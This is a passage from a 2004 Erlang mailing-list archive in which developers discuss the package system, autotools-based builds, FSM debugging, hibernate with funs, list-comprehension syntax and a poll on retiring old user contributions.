"Release Highlights" section of the R9 documentation. > > > > Note that the tech report from 2000 was just the first draft of > > what the package system could look like. It does not describe the > > implementation. The first link above is the one to use for reference. > > > > /Richard > > Eric Newhuis > Chief Technology Officer > FutureSource > 630.649.9619 Mobile > 630.792.2065 Office > 630.792.2600 Fax > enewhuis@REDACTED > http://www.ifuturesource.com > > FutureSource | Futures Solutions. Now. > > The information contained in this e-mail message is legally privileged and > confidential information intended only for the use of the individual or > entity named above. If the reader of this e-mail message is not the intended > recipient, you are hereby notified that any dissemination, distribution or > copy of this e-mail is strictly prohibited. If you have received this e mail > in error, please contact the sender and immediately delete the original > message. Thank you. > > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From ulf.wiger@REDACTED Mon Aug 16 14:39:47 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Mon, 16 Aug 2004 14:39:47 +0200 Subject: AW: Hello (Erlang) World! Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F54027EF@ESEALNT442.al.sw.ericsson.se> Richard Carlsson wrote: > The only real problem that I know about has to do with the debugger, > which has its own hard-coded ideas about how a module looks and > where it should be found. Another problem was with embedded code loading. I patched systools:make_script, but erl_prim_loader was a bit more awkward to fix, so I didn't attempt it. /Uffe From enewhuis@REDACTED Mon Aug 16 14:53:08 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Mon, 16 Aug 2004 07:53:08 -0500 Subject: AW: Hello (Erlang) World! In-Reply-To: Message-ID: If memory serves me correctly we had trouble passing off some module names to some OTP modules that liked to use the {M,F,A} "callback" idiom. But there may have been some problems with some 3rd party tools as well. And we inherited a build system from someone and it did not like the dots either. Sorry I cannot recall any specifics. On 8/16/04 7:25 AM, "Richard Carlsson" wrote: > > On Mon, 16 Aug 2004, Eric Newhuis wrote: > >> We tried this feature and it caused problems. >> >> Either due to our then lack of Erlang finesse or actual limitations the >> packaging causes problems with OTP. > > Can you describe these problems in a bit more detail, please? > >> Can anyone comment on that? Maybe it has been brought up before. >> Now where is that mailling list archive search button.... > > The only real problem that I know about has to do with the debugger, > which has its own hard-coded ideas about how a module looks and > where it should be found. > > /Richard > >> On 8/16/04 2:41 AM, "Richard Carlsson" wrote: >> >>> Thomas.Herchenroeder@REDACTED wrote: >>> >>>>> http://www.erlang.se/publications/packages.html >>>>> http://www.it.uu.se/research/reports/2000-001 >>>> >>>> Now this is interesting! I looked through the Erlang book, the "Erlang >>>> Extensions since 4.4" and the most current "Erlang Reference Manual >>>> version 5.3" - no mentioning of packages. Is this something like a >>>> (nearly) "undocumented feature"? >>> >>> "Nearly undocumented" is pretty much correct. It is only announced >>> in the "Release Highlights" section of the R9 documentation. >>> >>> Note that the tech report from 2000 was just the first draft of >>> what the package system could look like. It does not describe the >>> implementation. The first link above is the one to use for reference. >>> >>> /Richard >> >> Eric Newhuis >> Chief Technology Officer >> FutureSource >> 630.649.9619 Mobile >> 630.792.2065 Office >> 630.792.2600 Fax >> enewhuis@REDACTED >> http://www.ifuturesource.com >> >> FutureSource | Futures Solutions. Now. >> >> The information contained in this e-mail message is legally privileged and >> confidential information intended only for the use of the individual or >> entity named above. If the reader of this e-mail message is not the intended >> recipient, you are hereby notified that any dissemination, distribution or >> copy of this e-mail is strictly prohibited. If you have received this e mail >> in error, please contact the sender and immediately delete the original >> message. Thank you. >> >> >> > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) > E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ > "Having users is like optimization: the wise course is to delay it." > -- Paul Graham Eric Newhuis Chief Technology Officer FutureSource 630.649.9619 Mobile 630.792.2065 Office 630.792.2600 Fax enewhuis@REDACTED http://www.ifuturesource.com FutureSource | Futures Solutions. Now. The information contained in this e-mail message is legally privileged and confidential information intended only for the use of the individual or entity named above. If the reader of this e-mail message is not the intended recipient, you are hereby notified that any dissemination, distribution or copy of this e-mail is strictly prohibited. If you have received this e mail in error, please contact the sender and immediately delete the original message. Thank you. From richardc@REDACTED Mon Aug 16 14:58:10 2004 From: richardc@REDACTED (Richard Carlsson) Date: Mon, 16 Aug 2004 14:58:10 +0200 (MEST) Subject: AW: Hello (Erlang) World! In-Reply-To: References: Message-ID: On Mon, 16 Aug 2004, Eric Newhuis wrote: > If memory serves me correctly we had trouble passing off some module names > to some OTP modules that liked to use the {M,F,A} "callback" idiom. As long as you used ?MODULE to pass the (full) module names, it should work with callbacks as well. > But there may have been some problems with some 3rd party tools as well. > > And we inherited a build system from someone and it did not like the dots > either. Yes, build systems usually make a lot of assumptions. It would be nice if someone who knows Erlang build systems well and also has an interest in packages (*coughulfwiger*) could present a good build strategy. :-) /Richard > Sorry I cannot recall any specifics. > > > > On 8/16/04 7:25 AM, "Richard Carlsson" wrote: > > > > > On Mon, 16 Aug 2004, Eric Newhuis wrote: > > > >> We tried this feature and it caused problems. > >> > >> Either due to our then lack of Erlang finesse or actual limitations the > >> packaging causes problems with OTP. > > > > Can you describe these problems in a bit more detail, please? > > > >> Can anyone comment on that? Maybe it has been brought up before. > >> Now where is that mailling list archive search button.... > > > > The only real problem that I know about has to do with the debugger, > > which has its own hard-coded ideas about how a module looks and > > where it should be found. > > > > /Richard > > > >> On 8/16/04 2:41 AM, "Richard Carlsson" wrote: > >> > >>> Thomas.Herchenroeder@REDACTED wrote: > >>> > >>>>> http://www.erlang.se/publications/packages.html > >>>>> http://www.it.uu.se/research/reports/2000-001 > >>>> > >>>> Now this is interesting! I looked through the Erlang book, the "Erlang > >>>> Extensions since 4.4" and the most current "Erlang Reference Manual > >>>> version 5.3" - no mentioning of packages. Is this something like a > >>>> (nearly) "undocumented feature"? > >>> > >>> "Nearly undocumented" is pretty much correct. It is only announced > >>> in the "Release Highlights" section of the R9 documentation. > >>> > >>> Note that the tech report from 2000 was just the first draft of > >>> what the package system could look like. It does not describe the > >>> implementation. The first link above is the one to use for reference. > >>> > >>> /Richard > >> > >> Eric Newhuis > >> Chief Technology Officer > >> FutureSource > >> 630.649.9619 Mobile > >> 630.792.2065 Office > >> 630.792.2600 Fax > >> enewhuis@REDACTED > >> http://www.ifuturesource.com > >> > >> FutureSource | Futures Solutions. Now. > >> > >> The information contained in this e-mail message is legally privileged and > >> confidential information intended only for the use of the individual or > >> entity named above. If the reader of this e-mail message is not the intended > >> recipient, you are hereby notified that any dissemination, distribution or > >> copy of this e-mail is strictly prohibited. If you have received this e mail > >> in error, please contact the sender and immediately delete the original > >> message. Thank you. > >> > >> > >> > > > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) > > E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ > > "Having users is like optimization: the wise course is to delay it." > > -- Paul Graham > > Eric Newhuis > Chief Technology Officer > FutureSource > 630.649.9619 Mobile > 630.792.2065 Office > 630.792.2600 Fax > enewhuis@REDACTED > http://www.ifuturesource.com > > FutureSource | Futures Solutions. Now. > > The information contained in this e-mail message is legally privileged and > confidential information intended only for the use of the individual or > entity named above. If the reader of this e-mail message is not the intended > recipient, you are hereby notified that any dissemination, distribution or > copy of this e-mail is strictly prohibited. If you have received this e mail > in error, please contact the sender and immediately delete the original > message. Thank you. > > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From ulf.wiger@REDACTED Mon Aug 16 15:14:45 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Mon, 16 Aug 2004 15:14:45 +0200 Subject: AW: Hello (Erlang) World! Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> Richard Carlsson wrote: > Yes, build systems usually make a lot of assumptions. It would be nice > if someone who knows Erlang build systems well and also has > an interest in packages (*coughulfwiger*) could present a good build > strategy. :-) Well, I still maintain that 'builder' is a neat idea. The thought behind it was to build a system incrementally, and for each component you add, you can easily build a script, or set of scripts, in order to test that particular component together with the applications it needs. There is also a notion of a semi-recursive build in there, but it needs more work. Apart from the required patches for systools_make, 'builder' had no problem with packages - the parts of the code that need to deal with package hierarchies have been designed to do so. In general, I think the big problem with build tools is to find a good set of default options that suit the vast majority of people. Almost every detail needs to be configurable, but you should be able to get off the ground with a minimum of fuzz. This is quite difficult to achieve. Good documentation and tutorials help, of course, and 'builder' lacks those, I'm afraid. /Uffe From rpettit@REDACTED Mon Aug 16 16:36:22 2004 From: rpettit@REDACTED (Rick Pettit) Date: Mon, 16 Aug 2004 09:36:22 -0500 Subject: AW: Hello (Erlang) World! In-Reply-To: References: Message-ID: <20040816143622.GB3033@vailsys.com> On Mon, Aug 16, 2004 at 02:58:10PM +0200, Richard Carlsson wrote: > > On Mon, 16 Aug 2004, Eric Newhuis wrote: > > > If memory serves me correctly we had trouble passing off some module names > > to some OTP modules that liked to use the {M,F,A} "callback" idiom. > > As long as you used ?MODULE to pass the (full) module names, it should > work with callbacks as well. > > > But there may have been some problems with some 3rd party tools as well. > > > > And we inherited a build system from someone and it did not like the dots > > either. > > Yes, build systems usually make a lot of assumptions. It would be nice > if someone who knows Erlang build systems well and also has an interest > in packages (*coughulfwiger*) could present a good build strategy. :-) We at Vail have been building Erlang applications with autotools, then packaging with NetBSD pkgsrc and deploying via cfengine. This strategy has worked well for us. We continue to evolve the build system as we go, and fortunately the tools mentioned above allow us to do that as an iterative process. It also helps that the tools are both opensource and pretty standard these days (and have been for quite some time). Unfortunately I would have to do some checking before I could post any concrete examples (i.e. Makefile.am's, configure.ac's, m4 macros, etc) -Rick From ulf.wiger@REDACTED Mon Aug 16 16:51:54 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Mon, 16 Aug 2004 16:51:54 +0200 Subject: poll: legacy contributions Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F4@ESEALNT442.al.sw.ericsson.se> I thought I'd clean up my list of contributions. If any of you are actively using some of the stuff below, please let me know (publicly or privately doesn't matter to me.) I will try to summarize my own feelings/plans about each contrib below. If you would like me to change my priorities, please send me a mail. To summarize, I'm most interested in user feedback re. 'rdbms', 'builder', 'ccviewer'; I'd like to scrap 'bucket_grid' and 'gridfile'; and am curious as to whether anyone is using the rest and/or has comments on them. User contribs at erlang.org: ---------------------------- bucket_grid-1.0 (http://www.erlang.org/contrib/bucket_grid-1.0.tgz) - Not finished, scalability problems. Should be rethought or scrapped. I'm thinking of scrapping it. ccviewer-1.1 (http://www.erlang.org/contrib/ccviewer-1.1.tgz) - Has been developed further and is in use at Ericsson. I plan to do lots more on this one when time allows. dispatcher-1.0 (http://www.erlang.org/contrib/dispatcher-1.0.tgz) - Has been replaced by mdisp-1.0 (see below) dynarray-1.0 (http://www.erlang.org/contrib/dynarray-1.0.tgz) - No plans to develop further, but no known problems either. I'm not aware of a faster way to manage large arrays in Erlang. filesystem-1.0 (http://www.erlang.org/contrib/filesystem-1.0.tgz) - This type of functionality should be in OTP. I will check to see whether I have newer versions lying around, but am in no great hurry to do so. fuz-1.0 (http://www.erlang.org/contrib/fuz-1.0.tgz) - Don't think anyone uses this one. I'd wondered if the improved support for floats shouldn't be used, but why bother? gridfile-1.0 (http://www.erlang.org/contrib/gridfile-1.0.tgz) - Same problems as with bucket_grid; same conclusion. lines-1.1 (http://www.erlang.org/contrib/lines-1.1.tgz) - Obsoleted by the 'lines' version at Jungerl. locker-1.1 (http://www.erlang.org/contrib/locker-1.1.tgz) - Works OK as far as I know. I started working on a version that supports lock hierarchies and "name registration", but the work stalled due to lack of time. mdisp-1.0 (http://www.erlang.org/contrib/mdisp-1.0.tgz) - Stable and bug-free afaik. (: rdbms-1.3 (http://www.erlang.org/contrib/rdbms-1.3.tgz) - Obsoleted by the Jungerl version. view_backup-1.0 (http://www.erlang.org/contrib/view_backup-1.0.tgz) - Don't know if it works with newer versions of Mnesia - assume it does. No plans to develop further; no known problems. xmerl-0.17 (http://www.erlang.org/contrib/xmerl-0.17.tgz) - I'm not that involved in the development of xmerl anymore. Jungerl components: ------------------- - 'builder' (tool to simplify creation of app files & boot scripts) I like this one, and would like to develop it further, but will await some user demands. Documentation needs to be greatly improved. - 'gen_leader' (behaviour for fault-tolerant servers) Another favourite. Thomas Arts found a bug in the leader election, but I think he's on to a solution. No firm plans to-date. - 'lines' (dynamic array of lines - works for other datatypes as well.) I know of one user: Joe. I'm not aware of any problems, and have no plans to develop it further. - 'plain_fsm' (a 'behaviour' for writing upgradeable 'classic' FSMs) Fairly recent invention. I have not thought of anything new to add (except perhaps more documentation.) - 'proc_reg' (process registration facility, where any term can be used) Recent invention. Is anyone using it? Needs documentation. - 'rdbms' (relational database functionality on top of mnesia) Not 100% standards-compliant on referential integrity. There are some things that could be done to improve 'rdbms' - foldl & foldr have been suggested; improved support for fragmented tables should be added; ... I'd need to hear more from users. Regards, Ulf W From rpettit@REDACTED Mon Aug 16 16:40:54 2004 From: rpettit@REDACTED (Rick Pettit) Date: Mon, 16 Aug 2004 09:40:54 -0500 Subject: AW: Hello (Erlang) World! In-Reply-To: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> References: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> Message-ID: <20040816144054.GC3033@vailsys.com> On Mon, Aug 16, 2004 at 03:14:45PM +0200, Ulf Wiger (AL/EAB) wrote: > In general, I think the big problem with build tools is to find a > good set of default options that suit the vast majority of people. > Almost every detail needs to be configurable, but you should be > able to get off the ground with a minimum of fuzz. This is quite > difficult to achieve. Good documentation and tutorials help, of > course, and 'builder' lacks those, I'm afraid. This is another reason autotools has worked so well for us. You can build most anything by simply running: prompt> configure.sh prompt> gmake prompt> gmake install Pretty standard. If you want to build against a different version of a dependent library (the latest-greatest is found automatically if not otherwise specified) by doing: prompt> configure.sh --with-= The defaults "do the right thing" for the guy who just wants to build a release, yet the overrides allow an expert to make custom builds. Our build system also directly supports the notion of development vs. production builds, so that a developer can build a developement release and test on his/her local system without disturbing production applications. -Rick From erlang@REDACTED Mon Aug 16 17:27:40 2004 From: erlang@REDACTED (Bernardo Paroli) Date: Mon, 16 Aug 2004 12:27:40 -0300 Subject: Xeon Double Processor Performance compared to single Pentium IV on Windows References: Message-ID: <1088-SnapperMsgFFCC63D8BD44DC9C@10.164.62.99> Message-ID: <009301c483a5$922cd270$5f00a8c0@BP> How do you launch an erlang virtual machine per CPU in Windows? Regards, Bernardo ----- Original Message ----- From: "Mickael Remond" To: "Bernardo Paroli" ; Sent: Sunday, August 15, 2004 6:23 AM Subject: Re: Xeon Double Processor Performance compared to single Pentium IV on Windows ..... Original Message ....... On Sat, 14 Aug 2004 16:24:59 -0300 "Bernardo Paroli" wrote: >Does anybody have any practical experience with Erlang performance on double Xeon processors, when compared to the performance on single Pentium IV processors, on Windows environments? > >Does Erlang make any use of the second processor? No. Erlang/OTP does not currently automatically use the second processor. What is generally done when using multiple CPU computer is to launch as one erlang virtual machine per CPU and use traditional Erlang applications distribution mechanisms. -- Micka?l R?mond http://www.erlang-projects.org/ From bengt.kleberg@REDACTED Mon Aug 16 17:42:30 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Mon, 16 Aug 2004 17:42:30 +0200 Subject: AW: Hello (Erlang) World! In-Reply-To: <20040816144054.GC3033@vailsys.com> References: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> <20040816144054.GC3033@vailsys.com> Message-ID: <4120D5E6.7020907@ericsson.com> Rick Pettit wrote: > On Mon, Aug 16, 2004 at 03:14:45PM +0200, Ulf Wiger (AL/EAB) wrote: > >>In general, I think the big problem with build tools is to find a >>good set of default options that suit the vast majority of people. >>Almost every detail needs to be configurable, but you should be >>able to get off the ground with a minimum of fuzz. This is quite >>difficult to achieve. Good documentation and tutorials help, of >>course, and 'builder' lacks those, I'm afraid. > > > This is another reason autotools has worked so well for us. You can build > most anything by simply running: perhaps the build tool problem is really 2 problems: 1 creating the ''configure'' script 2 running the ''configure'' script while i have had very little problems with 2 above, i have never liked autotools when doing 1. this could be due to my lack of experience. however, i have added ''rules'' to other build tools, and i found that to be much easier. bengt From erlang@REDACTED Mon Aug 16 18:21:04 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Mon, 16 Aug 2004 17:21:04 +0100 Subject: erlang:hibernate/1 with funs? In-Reply-To: <20040813123518.07fcfef2.erlang@manderp.freeserve.co.uk> References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> <20040813123518.07fcfef2.erlang@manderp.freeserve.co.uk> Message-ID: <20040816172104.2ffb1647.erlang@manderp.freeserve.co.uk> Hi gurus, After being informed of erlang:hibernate/3, I wonder if there's a erlang:hibernate/1, similar in style to erlang:spawn_link/1 which takes a fun argument? I prefer using funs which helps avoid exporting what I consider to be internal module functions when spawning. Is there a drawback writing code with spawn_link/1? Pete. -- "The Tao of Programming flows far away and returns on the wind of morning." From mickael.remond@REDACTED Mon Aug 16 18:31:00 2004 From: mickael.remond@REDACTED (Mickael Remond) Date: Mon, 16 Aug 2004 18:31 +0200 Subject: Xeon Double Processor Performance compared to single Pentium IV on Windows In-Reply-To: <009301c483a5$922cd270$5f00a8c0@BP> References: Message-ID: <1088-SnapperMsgFFCC63D8BD44DC9C@10.164.62.99> <009301c483a5$922cd270$5f00a8c0@BP> Message-ID: <1162-SnapperMsgFFCC63D8BD469218@10.164.62.99> ..... Original Message ....... On Mon, 16 Aug 2004 12:27:40 -0300 "Bernardo Paroli" wrote: >How do you launch an erlang virtual machine per CPU in Windows? You do not have to bind the virtual machine to the CPU. I meant simply, having two virtual machines running on a dual processor. If both virtual machine are active and running the operating system will optimize the load of the machine and probably make them run on different processors. -- Micka?l R?mond From vances@REDACTED Mon Aug 16 18:38:31 2004 From: vances@REDACTED (Vance Shipley) Date: Mon, 16 Aug 2004 12:38:31 -0400 Subject: AW: Hello (Erlang) World! In-Reply-To: <20040816144054.GC3033@vailsys.com> References: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> <20040816144054.GC3033@vailsys.com> Message-ID: <20040816163831.GC82253@frogman.motivity.ca> I have been using automake/autoconf/libtool for the development of a large linked in device driver and API. It has been invaluable for handling the portability issues which exist between 32/64 bit, SPARC/i386 (endianness) and Linux/Solaris (with/without STREAMS). Since this involves a very tight binding using binaries it is necessary for some of the erlang side to be modified for each environment as well as the C code. Usng these tools you just do ./configure and it all happens as it should. Quoting Hanibal Smith; "I like it when a plan comes together". -Vance From rpettit@REDACTED Mon Aug 16 19:19:19 2004 From: rpettit@REDACTED (Rick Pettit) Date: Mon, 16 Aug 2004 12:19:19 -0500 Subject: AW: Hello (Erlang) World! In-Reply-To: <20040816163831.GC82253@frogman.motivity.ca> References: <37FB7AA6F5F9814FB634A7BF4C35A6F54027F1@ESEALNT442.al.sw.ericsson.se> <20040816144054.GC3033@vailsys.com> <20040816163831.GC82253@frogman.motivity.ca> Message-ID: <20040816171919.GJ3033@vailsys.com> On Mon, Aug 16, 2004 at 12:38:31PM -0400, Vance Shipley wrote: > Since this involves a very tight binding using binaries it is > necessary for some of the erlang side to be modified for each > environment as well as the C code. Usng these tools you just do > ./configure and it all happens as it should. Quoting Hanibal Smith; > "I like it when a plan comes together". That is the idea. And again, whatever doesn't "just work" can be made to work with a little knowledge of the tools. In my experience the autotools have proven themselves to be at least as flexible as any build environment I have worked with. -Rick From erlang@REDACTED Mon Aug 16 19:55:38 2004 From: erlang@REDACTED (Inswitch Solutions - Erlang Evaluation) Date: Mon, 16 Aug 2004 14:55:38 -0300 Subject: FSM step by step Message-ID: <02b901c483ba$40df7ac0$1e00a8c0@design> Is there a way to execute an FSM (OTP module FSM behaviour) step by step without modifying the existing FSM implementation code? thanks, Eduardo Figoli INSwitch Solutions -------------- next part -------------- An HTML attachment was scrubbed... URL: From vances@REDACTED Mon Aug 16 20:38:06 2004 From: vances@REDACTED (Vance Shipley) Date: Mon, 16 Aug 2004 14:38:06 -0400 Subject: FSM step by step In-Reply-To: <02b901c483ba$40df7ac0$1e00a8c0@design> References: <02b901c483ba$40df7ac0$1e00a8c0@design> Message-ID: <20040816183806.GA84385@frogman.motivity.ca> On Mon, Aug 16, 2004 at 02:55:38PM -0300, Eduardo Figoli wrote: } } Is there a way to execute an FSM (OTP module FSM behaviour) } step by step without modifying the existing FSM implementation code? You want the debugger! http://www.erlang.org/doc/r9c/lib/debugger-2.2/doc/html/debugger_chapter.html#1.3 It's well worth the time to learn. At a lower level you can use stdlib's sys module. This is what the debugger does. You can supply debug options (dbg_opt()) in the gen_fsm start function: gen_fsm:start_link(Module, Args, [{debug, Dbgs}]) One of these options can be {install, {Func, FuncState}}}. This debug function will be called for every system event. You would have this function wait for a "step" message before continuing. You can install a debug function in a running process with sys:remove/2. I have found the debug options to be a handy way of debugging in the field applications. I install a handler which formats just the information I'm interested in and presents it in an application specific way. It's easy to turn it on and off and the distibuted code is unchanged. -Vance From vances@REDACTED Mon Aug 16 21:21:27 2004 From: vances@REDACTED (Vance Shipley) Date: Mon, 16 Aug 2004 15:21:27 -0400 Subject: FSM step by step In-Reply-To: <20040816183806.GA84385@frogman.motivity.ca> References: <02b901c483ba$40df7ac0$1e00a8c0@design> <20040816183806.GA84385@frogman.motivity.ca> Message-ID: <20040816192127.GC84385@frogman.motivity.ca> On Mon, Aug 16, 2004 at 02:38:06PM -0400, Vance Shipley wrote: } You can install a debug function in a running process with sys:remove/2. Where did that come from? This should obviously have been sys:install/2. -Vance From ok@REDACTED Tue Aug 17 03:38:47 2004 From: ok@REDACTED (Richard A. O'Keefe) Date: Tue, 17 Aug 2004 13:38:47 +1200 (NZST) Subject: Binary comprehensions Message-ID: <200408170138.i7H1clZB123978@atlas.otago.ac.nz> Luke Gorrie wrote: Speaking of comprehensions, does anyone else think that the way multiple generators in a list comprehension works is weird? I don't think it is weird for an instant. I _do_ think that more expressiveness would be good. I think this behaviour would be better: [{X,Y} || X <- [1,2,3], Y <- [a,b,c]] => [{1,a},{2,b},{3,c}] i.e. to walk over the lists in parallel instead of trying all the combinations. I'm always writing code that walks down two lists in parallel and very rarely wanting all the combinations. In old Interlisp terms, you want (FOR X IN '(1 2 3) AS Y IN '(a b c) COLLECT (TUPLE X Y)) ^^ The Haskell approach is of course [(x,y) | (x,y) <- zip [1,2,3] [A,B,C]] which always makes me cringe a bit and hope to goodness that the compiler will get rid of the call to zip. Clean does what I think is the right thing. It offers nested generators, as in Haskell and Erland, *and* it offers parallel generators, all within the same construct. >From the Clean 1.3 manual (because I don't happen to have a 2.x manual handy): (1) ArrayComprehension = '{' GraphExpr '\\' Qualifier-list '}' (2) ListComprehension = '[' GraphExpr '\\' Qualifier-list ']' (3) Qualifier = Generators ['|' Guard] (4) Generators = Generator {'&' Generator} (5) Generator = Selector '<-' ListEpxr | Selector '<-:' ArrayExpr -- rule numbers added by me. (1) and (2): Clean offers array (= Erlang tuple) comprehension as well as list = (Erlang list) comprehension. This does not involve creation of an intermediate list. (Mind you, the way Clean 1.3 did this was a bit simplistic; it didn't work well with guards.) (3) In Clean, as in Haskell, guards are expressions returning Bool. (4) A qualifier-list is a sequence of qualifiers joined by commas. This is *nested* generation, just like Haskell and clean. But two or more generators can be joined by ampersands, and this is *parallel* generation, which is what Luke Gorrie wants. (5) Not only does Clean let you build a tuple with a comprehension, without any intermediate list, it lets you iterate over a tuple without any intermediate list either. The two obviously connect: if you do { x + 1 \\ x <-: arr } then the size of the result can be calculated at once from the size of 'arr'. I'm not suggesting it be changed (of course). I just think it's funny that list comprehensions turn up in lots of programminig languages and I hardly ever see someone use more than one generator at a time. Syntactic sugar should optimize for the most common cases, right? I _am_ suggesting that Erlang list comprehension syntax could be _extended_ to include parallel generation, without breaking old code, and that this would be worth doing. Much depends on one's coding style and whether one is using a strict or a lazy language. Nested generation is far more common in Haskell than it is in Erlang. From ok@REDACTED Tue Aug 17 04:04:12 2004 From: ok@REDACTED (Richard A. O'Keefe) Date: Tue, 17 Aug 2004 14:04:12 +1200 (NZST) Subject: AW: Hello (Erlang) World! Message-ID: <200408170204.i7H24CKO305320@atlas.otago.ac.nz> Someone wrote: > The mail address in the erlang.org archive _are_ obscured. > They're images, not text. We debated doing that in our departmental pages here. We decided that (1) As a public institution, we couldn't in good conscience put a stumbling block in the way of blind or partially sighted people without dire necessity. (2) Since our addresses had _already_ been harvested by spammers, there was no dire necessity. (3) The state of image-to-text software is such that the measure would in any case be ineffective. From bjorn@REDACTED Tue Aug 17 10:07:55 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 17 Aug 2004 10:07:55 +0200 Subject: erlang:hibernate/1 with funs? In-Reply-To: <20040816172104.2ffb1647.erlang@manderp.freeserve.co.uk> References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> <20040813123518.07fcfef2.erlang@manderp.freeserve.co.uk> <20040816172104.2ffb1647.erlang@manderp.freeserve.co.uk> Message-ID: You call hibernate/3 like this to give it a fun: hibernate(erlang, apply, [F, []]). We'll probably add an hibernate/1 function in R10B implemented like this in erlang.erl. The only disadvantage of using funs is if you do hot code replacement; OTP has no built-in support for replacing code referenced by a fun. /Bjorn Peter-Henry Mander writes: > Hi gurus, > > After being informed of erlang:hibernate/3, I wonder if there's a > erlang:hibernate/1, similar in style to erlang:spawn_link/1 which takes > a fun argument? I prefer using funs which helps avoid exporting what I > consider to be internal module functions when spawning. > > Is there a drawback writing code with spawn_link/1? > > Pete. > > -- > "The Tao of Programming > flows far away > and returns > on the wind of morning." > -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From Thomas.Herchenroeder@REDACTED Tue Aug 17 10:25:54 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Tue, 17 Aug 2004 10:25:54 +0200 Subject: poll: legacy contributions Message-ID: <0AE50E462665EB4898CACAC8DA169822435788@DAEMSG03.eur.ad.sag> A general note: I'm not acquainted with any of the named modules, but slightly shocked at the thought any of them could be thrown away. Give it a 10 line README stating its potential and limitation and leave it for the rest of the world, with a "from this point you're on your own". Put it in a well-structured archive of modules for others to find, think about and build upon. They'll know from the timestamp it is old and unattended. An example: Since quite a while I'm thinking about the possiblity to write a firewall system in Erlang. Not that I could really do it, but I'm thinking about it. And I searched the Web for code that one could build upon. The topic came up on erlang-questions in 2001, and Luke Gorrie provided a link to an Erlang "tunnel device" he once had written. Well, that link is dead, and I dont know if I will ever find this tunnel device anymore. Maybe the author has lost interest in the code entirely. But I _am_ interested, even years later. Never ever throw code away, as long as it is not downright wrong or superseded by something vastly better. Even if it is badly documented. It contains brain power other people could use. People learn from other people's code! Dont throw it away, it might inspire somebody way down the road. =Thomas > -----Original Message----- > From: owner-erlang-questions@REDACTED > [mailto:owner-erlang-questions@REDACTED] On Behalf Of Ulf > Wiger (AL/EAB) > Sent: Monday, August 16, 2004 4:52 PM > To: 'erlang-questions@REDACTED' > Subject: poll: legacy contributions > > > > I thought I'd clean up my list of contributions. > > If any of you are actively using some of the stuff below, > please let me know (publicly or privately doesn't matter to me.) > > I will try to summarize my own feelings/plans about each contrib > below. If you would like me to change my priorities, please send > me a mail. > > To summarize, I'm most interested in user feedback re. > 'rdbms', 'builder', 'ccviewer'; I'd like to scrap 'bucket_grid' > and 'gridfile'; and am curious as to whether anyone is using the > rest and/or has comments on them. > > > User contribs at erlang.org: > ---------------------------- > bucket_grid-1.0 (http://www.erlang.org/contrib/bucket_grid-1.0.tgz) > - Not finished, scalability problems. Should be rethought or > scrapped. I'm thinking of scrapping it. > > ccviewer-1.1 (http://www.erlang.org/contrib/ccviewer-1.1.tgz) > - Has been developed further and is in use at Ericsson. > I plan to do lots more on this one when time allows. > > dispatcher-1.0 (http://www.erlang.org/contrib/dispatcher-1.0.tgz) > - Has been replaced by mdisp-1.0 (see below) > > dynarray-1.0 (http://www.erlang.org/contrib/dynarray-1.0.tgz) > - No plans to develop further, but no known problems either. > I'm not aware of a faster way to manage large arrays in Erlang. > > filesystem-1.0 (http://www.erlang.org/contrib/filesystem-1.0.tgz) > - This type of functionality should be in OTP. I will check to > see whether I have newer versions lying around, but am in no > great hurry to do so. > > fuz-1.0 (http://www.erlang.org/contrib/fuz-1.0.tgz) > - Don't think anyone uses this one. I'd wondered if the improved > support for floats shouldn't be used, but why bother? > > gridfile-1.0 (http://www.erlang.org/contrib/gridfile-1.0.tgz) > - Same problems as with bucket_grid; same conclusion. > > lines-1.1 (http://www.erlang.org/contrib/lines-1.1.tgz) > - Obsoleted by the 'lines' version at Jungerl. > > locker-1.1 (http://www.erlang.org/contrib/locker-1.1.tgz) > - Works OK as far as I know. I started working on a version that > supports lock hierarchies and "name registration", but the work > stalled due to lack of time. > > mdisp-1.0 (http://www.erlang.org/contrib/mdisp-1.0.tgz) > - Stable and bug-free afaik. (: > > rdbms-1.3 (http://www.erlang.org/contrib/rdbms-1.3.tgz) > - Obsoleted by the Jungerl version. > > view_backup-1.0 (http://www.erlang.org/contrib/view_backup-1.0.tgz) > - Don't know if it works with newer versions of Mnesia - assume > it does. No plans to develop further; no known problems. > > xmerl-0.17 (http://www.erlang.org/contrib/xmerl-0.17.tgz) > - I'm not that involved in the development of xmerl anymore. > > > > Jungerl components: > ------------------- > - 'builder' (tool to simplify creation of app files & boot scripts) > I like this one, and would like to develop it further, but > will await some user demands. Documentation needs to be greatly > improved. > > - 'gen_leader' (behaviour for fault-tolerant servers) > Another favourite. Thomas Arts found a bug in the leader election, > but I think he's 